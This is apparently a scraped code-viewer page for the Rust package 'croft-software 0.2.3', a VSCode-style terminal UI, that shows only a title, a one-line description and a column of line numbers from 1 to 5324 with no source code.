croft-software 0.2.3

VSCode-style TUI written in Rust
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
3989
3990
3991
3992
3993
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016
4017
4018
4019
4020
4021
4022
4023
4024
4025
4026
4027
4028
4029
4030
4031
4032
4033
4034
4035
4036
4037
4038
4039
4040
4041
4042
4043
4044
4045
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
4129
4130
4131
4132
4133
4134
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145
4146
4147
4148
4149
4150
4151
4152
4153
4154
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164
4165
4166
4167
4168
4169
4170
4171
4172
4173
4174
4175
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233
4234
4235
4236
4237
4238
4239
4240
4241
4242
4243
4244
4245
4246
4247
4248
4249
4250
4251
4252
4253
4254
4255
4256
4257
4258
4259
4260
4261
4262
4263
4264
4265
4266
4267
4268
4269
4270
4271
4272
4273
4274
4275
4276
4277
4278
4279
4280
4281
4282
4283
4284
4285
4286
4287
4288
4289
4290
4291
4292
4293
4294
4295
4296
4297
4298
4299
4300
4301
4302
4303
4304
4305
4306
4307
4308
4309
4310
4311
4312
4313
4314
4315
4316
4317
4318
4319
4320
4321
4322
4323
4324
4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
4361
4362
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377
4378
4379
4380
4381
4382
4383
4384
4385
4386
4387
4388
4389
4390
4391
4392
4393
4394
4395
4396
4397
4398
4399
4400
4401
4402
4403
4404
4405
4406
4407
4408
4409
4410
4411
4412
4413
4414
4415
4416
4417
4418
4419
4420
4421
4422
4423
4424
4425
4426
4427
4428
4429
4430
4431
4432
4433
4434
4435
4436
4437
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452
4453
4454
4455
4456
4457
4458
4459
4460
4461
4462
4463
4464
4465
4466
4467
4468
4469
4470
4471
4472
4473
4474
4475
4476
4477
4478
4479
4480
4481
4482
4483
4484
4485
4486
4487
4488
4489
4490
4491
4492
4493
4494
4495
4496
4497
4498
4499
4500
4501
4502
4503
4504
4505
4506
4507
4508
4509
4510
4511
4512
4513
4514
4515
4516
4517
4518
4519
4520
4521
4522
4523
4524
4525
4526
4527
4528
4529
4530
4531
4532
4533
4534
4535
4536
4537
4538
4539
4540
4541
4542
4543
4544
4545
4546
4547
4548
4549
4550
4551
4552
4553
4554
4555
4556
4557
4558
4559
4560
4561
4562
4563
4564
4565
4566
4567
4568
4569
4570
4571
4572
4573
4574
4575
4576
4577
4578
4579
4580
4581
4582
4583
4584
4585
4586
4587
4588
4589
4590
4591
4592
4593
4594
4595
4596
4597
4598
4599
4600
4601
4602
4603
4604
4605
4606
4607
4608
4609
4610
4611
4612
4613
4614
4615
4616
4617
4618
4619
4620
4621
4622
4623
4624
4625
4626
4627
4628
4629
4630
4631
4632
4633
4634
4635
4636
4637
4638
4639
4640
4641
4642
4643
4644
4645
4646
4647
4648
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662
4663
4664
4665
4666
4667
4668
4669
4670
4671
4672
4673
4674
4675
4676
4677
4678
4679
4680
4681
4682
4683
4684
4685
4686
4687
4688
4689
4690
4691
4692
4693
4694
4695
4696
4697
4698
4699
4700
4701
4702
4703
4704
4705
4706
4707
4708
4709
4710
4711
4712
4713
4714
4715
4716
4717
4718
4719
4720
4721
4722
4723
4724
4725
4726
4727
4728
4729
4730
4731
4732
4733
4734
4735
4736
4737
4738
4739
4740
4741
4742
4743
4744
4745
4746
4747
4748
4749
4750
4751
4752
4753
4754
4755
4756
4757
4758
4759
4760
4761
4762
4763
4764
4765
4766
4767
4768
4769
4770
4771
4772
4773
4774
4775
4776
4777
4778
4779
4780
4781
4782
4783
4784
4785
4786
4787
4788
4789
4790
4791
4792
4793
4794
4795
4796
4797
4798
4799
4800
4801
4802
4803
4804
4805
4806
4807
4808
4809
4810
4811
4812
4813
4814
4815
4816
4817
4818
4819
4820
4821
4822
4823
4824
4825
4826
4827
4828
4829
4830
4831
4832
4833
4834
4835
4836
4837
4838
4839
4840
4841
4842
4843
4844
4845
4846
4847
4848
4849
4850
4851
4852
4853
4854
4855
4856
4857
4858
4859
4860
4861
4862
4863
4864
4865
4866
4867
4868
4869
4870
4871
4872
4873
4874
4875
4876
4877
4878
4879
4880
4881
4882
4883
4884
4885
4886
4887
4888
4889
4890
4891
4892
4893
4894
4895
4896
4897
4898
4899
4900
4901
4902
4903
4904
4905
4906
4907
4908
4909
4910
4911
4912
4913
4914
4915
4916
4917
4918
4919
4920
4921
4922
4923
4924
4925
4926
4927
4928
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
4939
4940
4941
4942
4943
4944
4945
4946
4947
4948
4949
4950
4951
4952
4953
4954
4955
4956
4957
4958
4959
4960
4961
4962
4963
4964
4965
4966
4967
4968
4969
4970
4971
4972
4973
4974
4975
4976
4977
4978
4979
4980
4981
4982
4983
4984
4985
4986
4987
4988
4989
4990
4991
4992
4993
4994
4995
4996
4997
4998
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
5013
5014
5015
5016
5017
5018
5019
5020
5021
5022
5023
5024
5025
5026
5027
5028
5029
5030
5031
5032
5033
5034
5035
5036
5037
5038
5039
5040
5041
5042
5043
5044
5045
5046
5047
5048
5049
5050
5051
5052
5053
5054
5055
5056
5057
5058
5059
5060
5061
5062
5063
5064
5065
5066
5067
5068
5069
5070
5071
5072
5073
5074
5075
5076
5077
5078
5079
5080
5081
5082
5083
5084
5085
5086
5087
5088
5089
5090
5091
5092
5093
5094
5095
5096
5097
5098
5099
5100
5101
5102
5103
5104
5105
5106
5107
5108
5109
5110
5111
5112
5113
5114
5115
5116
5117
5118
5119
5120
5121
5122
5123
5124
5125
5126
5127
5128
5129
5130
5131
5132
5133
5134
5135
5136
5137
5138
5139
5140
5141
5142
5143
5144
5145
5146
5147
5148
5149
5150
5151
5152
5153
5154
5155
5156
5157
5158
5159
5160
5161
5162
5163
5164
5165
5166
5167
5168
5169
5170
5171
5172
5173
5174
5175
5176
5177
5178
5179
5180
5181
5182
5183
5184
5185
5186
5187
5188
5189
5190
5191
5192
5193
5194
5195
5196
5197
5198
5199
5200
5201
5202
5203
5204
5205
5206
5207
5208
5209
5210
5211
5212
5213
5214
5215
5216
5217
5218
5219
5220
5221
5222
5223
5224
5225
5226
5227
5228
5229
5230
5231
5232
5233
5234
5235
5236
5237
5238
5239
5240
5241
5242
5243
5244
5245
5246
5247
5248
5249
5250
5251
5252
5253
5254
5255
5256
5257
5258
5259
5260
5261
5262
5263
5264
5265
5266
5267
5268
5269
5270
5271
5272
5273
5274
5275
5276
5277
5278
5279
5280
5281
5282
5283
5284
5285
5286
5287
5288
5289
5290
5291
5292
5293
5294
5295
5296
5297
5298
5299
5300
5301
5302
5303
5304
5305
5306
5307
5308
5309
5310
5311
5312
5313
5314
5315
5316
5317
5318
5319
5320
5321
5322
5323
5324
